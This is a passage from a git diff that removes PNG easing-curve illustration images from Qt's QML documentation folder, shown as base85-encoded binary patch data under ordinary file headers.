zkpK*V>;p6)-vQu~-ObIfU%k>3lgt1OEG#T|JRbQDKxgj*5kM1$`wtKS)RQ*>>~3z> z8I}m3mb^OvVnLN-etuq&01SZ$pq2*@9(cW8MIo`E3i0mUyT^|o_xJZJ%Jo|i`TGD> z%+AhscXu-kV|Z)H3{b_rd-nzh2Xo7t_w3ObnFz2m*nf^3Ig)$n)ytPUgA)OECJ+d8 zcXu}x`nzm>5CL|kkpBR&pbAjLe}Gs}1t_ck01==#qA2?P{u3uo6sn-#g2?9q#h9I) zrD@vh^%iR6%NH-m_kzmEojZ4ihK3A(|3?lHpdjzxzmG%MyuJ0elL7fXA^}gHfHmeQwD}W)rPb{cJj2ip;EvWAPb@9^D((LT)^z^j3 z&LdG@GawR)T)K3LqNr=vt{Kw%`Yotl{yqQ?{JVGWUb%7wcfBF^efIRJ&hG_%{T3v3 z{jp=mCMG62J3Gy8(KfzL0hX4Q9zJ{s0PE}PW$pTw*4AfFpX!NF^8!eHEg^M!V`HPu zW-IHc|K&FCg^zk7m?^;G;^MEr{_nTnN`H`>ysxFga(BA1P`7XE{m+*r^W@2VIK0^0 zT>1mj0HCw8udVHmMm0$*fBhTxi@pw|p6atOorJ@UUazhxY%coSUtjxxDujF;=)e2vp_U&?Q*lcKZ)oQb$Ovd8%eiQ^M8r_8}W1o?iFbq0yV53ld zxBC;rpj4_Mou+YRxBHXg6xXa@0RTV{DBM$-jAdoT>UMt;1j=sz>~d`YKs36`<=S9b zF_mgqS+TlY8&Zi}Jb8Udr`1*Kfdd=qG>uDER;+?R$xo#=)O8ME7=#~xhaXkDzD_X= z!pHdOkNB8n#Z1N`FOf%(>H|PH+!ziwMx(o=hew9PjR4?sZ75Eq2z5OJG*Rezv=VY- z!QkUsu9WHJ`~cy_4-KY|%QK{b=Hu&jukr_ghm<@GUwK;cJvdc7a9 z%gIlrICVV(1cAci5dd%&m0xwcKPi$hP6N0k_wlsy`gk@(qcqOCcKc_R6<1aorBmtG zsdPGBj@PCV6E|WwRVqwFC7FyRlWCA!dCAo8J^&%jcVAhtN+#p=el(=v^=m=7Idex0 z8S)B95;hqkfXNU6Ooj+xGDHBAAp)38{q6&*1Tq6mh6rFXL;#Z^0+P|3F{jfxGnmLSIOB9W$L4klo%pfG=oXiQ>an1?F{g9P??3Itoc5=`l>4Rz z#zR}(+4E!K*6@^XYz_d@{?l7EvoYrI!D)Xwf6TQ1bni$20wcXn=Z;dAo$3()0AOkw zt|StPL?Sc}BcuK_0L;xy!SLS|6QpNw7^Y^_^;}L&`_PTh_y7!yhZ2c|=@X^81dw{# z-gk5$Fda-oI=&18-{km{{hI+;j;s1QL2k^dqPhgAL#kZ>dwT~2p5%<$^pgN|v=>R- zHAA%vfbIU@{_PUX%}l}YU`?!YcEZGc00uz*slfJfKnS7lM*YKqk=`+BRUaO6`lg2c zqu(KfT6>QU1g3+j>;>P{ml)aKE)Wv|K;TKe?*r1e&b0qy>c0>e>1#i8t4MC_8I8x| z-`{J`a_{?iJU*Ho{&wHkIE?gVFZhSm-P-OO8y}b&YHx3EZ@*&hGL(wP<0jsIZtizI zJs;H9Pv1JzH+?ktv+rxLe*ma~9Izd`vjYOtp(Y>I2fS%EyWH~0AhcVRNcSG&I opW{BW8(|!^HUqvohyW(@e;xD6K0E>%NB{r;07*qoM6N<$f|NPox&QzG diff --git a/src/qml/doc/images/qeasingcurve-insine.png b/src/qml/doc/images/qeasingcurve-insine.png deleted file mode 100644 index 09449034b5a470cdb831e5e8a8d624fda098d9eb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2567 zcmV+i3i$PjP)XNa9R=!hTMIdy@W`aE0HE3fdn#%S!`Bl#6ywrgM@^3a&j{S z=-xv)O~?4vRNG~{>vur?sID%5|N8z_<#y7{r%#`N9J90Lj*fkT4Iqw*bOVfz&H{)c zv$$BJZ=KZ*%>cqs0SIF*yeP64Wz0n5XEbVxMpG)bwH+uWS5{1DSJ_s(Q(M~s%gVZa zh)PC-04yu>yetTe@)rPXHpym_06-9!Xw-zZGopy6mWQH2007{5Nf1mte;^2{SgZSW zj!rF#3;@i|YP+2gFw3$AE8sXe8a2tXEQ(;YO35U%xM*r?+h6q(i48dTfYe*tZ? zto-e_hf{v#xTXe>B@{ASt@8Qv8gf?D+o+e(?P~hN|&aE($sVijhfIpK=}d&AqWh|NlG6-dKSK( zrmLYAR46u^w6nvktYlbHi6X=EndeA?z^tyCTUxR%o@oYXAls}z$5)U%FZ29fjyh=u z9G};(UoR{yU{*p*fVnx#+??g_|M)Z7_zTCO5^V`QUNr8%%{7%TRB24sC1;64}w}yi71BoAgBNZanyVeI#>{02jm5r&)C=) z9GUnF+uMNGewqP!K<3le*QdMrAgBO&n4FxnSS&})2f?2_iCI6L1?3_f4v&nCjE#+{ zXFh6#?QP6k&~F#fuk9b4Mz`SD=|sS65eo z@=42SF`JH%f0l2r57dt>%NE7NifyFdqcI1<`*WkTRd%-rfrrE|k78 z)Pi7YYU&u~gQ!1s3iIwpx1eA!==1qTM@O}q58}i7_m~YZbOwaO;Rg>Mc)i{d&wSJv zR{%+pMn*<@dwZ{3xpM4E@GZ!=0^nG`0=@+qbPT|>ejPDl2Iy%0I?RHM_B;StzsKWo zI2`!5e!sOve;1^Usi`Tm*^FuZI$|sVg2CYE=;+Ra3)?gq3g2CX!hYyE_ zhIE|uzu(%ztidP(gu`JJeVkc;F))Mxk|g)kt?8mc)1l;}Ggjw0OxGx|`)0+b;7x=@`0lq~wE8yYZc zs6qis+4rdhrBf-+qfk`>ls@{@f({|l_wg;LO4b1j3kw4S1CJj+zI^#I@gEv#q8c(l ziGJyQzv0Xo%o-|Q0D{p6fOl`-V%AXE0+5ZqE>!BTB9@nzr>CbUCML*6zv0Xo%p|DD z3|LrLxOeX!!!Vxd+b9?c)868<$vxp+2-c{OQ=rMq0W%T+x z^s3sO9foCPw2j{Wh_*RSN+e9`BkCHI@&FJB)CK~zOG_t|mq!KywE$qZ@1^Z3H5fVr zG?DFnvaz~V=d?i>4Fl-N(bvqS~8HMW<=WMy z;l{O~qhn@Xbm{VG&_S3mQ~<(I0SH3{APg0NFjN4-7APdQ~<(I0SH3{ zAPg0NFjN4-m}H_rYAFzVddv2OTTf#-u27du6^=cPr#!{Boc|tdBJmE3ERw@oB_;q z)%;*{4?K%RB9TbsS&OHAaK7k`FP!of!2Pe37d3W#-#Ife8wYUqKXZe>2X*DlVa#yV z{FMJNZJgKK;GZfZ1hYJPp#@W!59OWxkw`!C z7SAv9H?HL?-|5Xcwv(j7GT>_(|JqqVp|dUd1`d)CUI%;y0H~i396b>jY#vli_XEFp zX25;*JEeH$tG>JH27ixoVQhSGJl8^_#FU8z#h?Au;h6z|nU1p)-r1ismvUZp-?(x1 z(8N2vvl~5)0C~n#=lzXwIICRP>7DJ-r`3AEY;0^0yuErMW=tx245$XE0ED3e5QYjs d7%Bi^{twnm{|LEaC(r-@002ovPDHLkV1kGf%wPZj diff --git a/src/qml/doc/images/qeasingcurve-linear.png b/src/qml/doc/images/qeasingcurve-linear.png deleted file mode 100644 index fb3aaf3541cc78d993242b39a59b3985b6135de4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2318 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 z zaxhsNA@C|Iz*7EhQ8_9nz?S>oB>5^(Mwd2O8=;H=qXH^80_^AA;LFWc{`(&vxX+h9 z=%`~YP--Gcs`lj zIN<})rv-sm$;}{scc8DW$1hqLB>g=-{$$Yzv3PQ$>_A_@-E|rr2L5!9x6|ho*U3}S zwLxX)0F(2Vc)V-Enq{KP?_V0QZ=CaZp|5@8gnRQf9&e}5WwlzZ)}O)vU>}Ib{f*g@ zR;$%&ZGV2j<1`hF0002b2eW1S8vXGB`<6OQdSkAQSgu%QX9OZ1k5}?~IfTQ1u-kvf uSOM(RU>2k-GyyQ934j?*0L*9tVCMe|1q)qI1d7dE6fZ z)6rU8%Y$^9WA@N8_XYq+*B=ADxeS5RCUa=3tC{$xZ)M!qg=->ugI#pnZu1*YY9s%a z*J)z_qjTP|$Vupo7Hx!Z&DQLAkmufxN60%Hp!M>#u4ND#gR};3`g&T-$~kch&#Dv@ zkBg5q%5)TCL``4s6q(puPwd)cfH!|NX!d4*kklRA_Q-WulA0$voslYVsyu&ujJ@iz zl!HKF*_J&N$0Z~TxpHFv73{n?xf>`fj5`)9}hyrM;X4ZI!=o!OG-V*|1$oZ)cz)|0?A-PdAOdqDD_skL=% zoCOAhJ)&q<9oWMHm@Ar_KU95d4`re_>FEu%1RnOKB{~^HaZ92RHzm>+A0*#i@pwx? z#pdCY(8#l~locb1yp+^bF$syG!6-`?nN;lQ@nJzh!T5Z#ouT`jJ$IUhl7OAL4pk6f zW1O>D0O1~rCEpH`!|>H{eq9q7>Zof&u1#KeS%dr_5^ z8UT!}`zM*M``9MMMAuLs6*(oYp`Q#ZG>(E+Niu3I#cwbcMvgumtbt<3|ZaJVL&^@mipD*^No)A+bj>r}@+`}nR5Jd3C6+sZbdBy9UrKG8m 